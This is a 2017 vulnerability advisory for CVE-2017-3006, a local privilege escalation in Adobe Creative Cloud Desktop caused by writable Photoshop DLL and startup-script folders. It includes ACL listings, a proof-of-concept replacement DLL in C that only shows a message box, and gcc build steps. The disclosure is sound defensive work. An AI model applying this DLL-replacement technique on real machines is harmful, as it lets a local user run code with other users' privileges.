Adobe Creative Cloud Desktop Application < 4.0.0.185 - Local Privilege Escalation

[+] Credits: John Page aka hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/ADOBE-CREATIVE-CLOUD-PRIVILEGE-ESCALATION.txt
[+] ISR: apparitionSec



Vendor:
==============
www.adobe.com



Product:
========================================
Adobe Creative Cloud Desktop Application
<= v4.0.0.185 



Vulnerability Type:
=====================
Privilege Escalation



CVE Reference:
==============
CVE-2017-3006
APSB17-13


Vulnerability Details:
=====================
Adobe CC uses weak insecure permissions settings on the "Adobe Photoshop dll & Startup Scripts" directories. This may allow authenticated users
to execute arbitrary code in the security context of ANY other users with elevated privileges on the affected system. Issue is the 'C' flag
(Change) for 'Authenticated Users' group.


References:
============
https://helpx.adobe.com/security/products/creative-cloud/apsb17-13.html


e.g.

C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls>cacls * | more
C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls\libifcoremd.dll BUILTIN\Administrators:(ID)F
                                                                                NT AUTHORITY\SYSTEM:(ID)F
                                                                                BUILTIN\Users:(ID)R
                                                                                NT AUTHORITY\Authenticated Users:(ID)C

C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls\libmmd.dll BUILTIN\Administrators:(ID)F
                                                                           NT AUTHORITY\SYSTEM:(ID)F
                                                                           BUILTIN\Users:(ID)R
                                                                           NT AUTHORITY\Authenticated Users:(ID)C



C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls>ls -lt
total 2407
-rwxr-xr-x    1 Test     Administ   895184 Jun  3  2016 libifcoremd.dll
-rwxr-xr-x    1 Test     Administ  4033464 Jun  3  2016 libmmd.dll


///////////  AND /////////////////////


C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop>cacls * | more
C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop\photoshop BUILTIN\Administrators:(ID)F
                                                                                       BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
                                                                                       NT AUTHORITY\SYSTEM:(ID)F
                                                                                       NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
                                                                                       BUILTIN\Users:(OI)(CI)(ID)R
                                                                                       NT AUTHORITY\Authenticated Users:(ID)C
                                                                                       NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop\photoshop.jsx BUILTIN\Administrators:(ID)F
                                                                                           NT AUTHORITY\SYSTEM:(ID)F
                                                                                           BUILTIN\Users:(ID)R
                                                                                           NT AUTHORITY\Authenticated Users:(ID)C




Exploit/POC code(s):
====================
Compile below DLL 'C' code name it as "libifcoremd.dll"
Replace existing Adobe CC "libifcoremd.dll" file, wait for it to be referenced.


#include <windows.h>

BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){
  switch (reason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(NULL, NULL, "PWN!", MB_OK);  
    break;
  }
  return TRUE;
}


gcc -c libifcoremd.c
gcc -shared -o  libifcoremd.dll libifcoremd.o



Disclosure Timeline:
========================================
Vendor Notification: January 25, 2017
Vendor updates Adobe CC : April 11, 2017
April 12, 2017 : Public Disclosure



Exploitation Technique:
=======================
Local



Severity Level:
===============
Medium



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).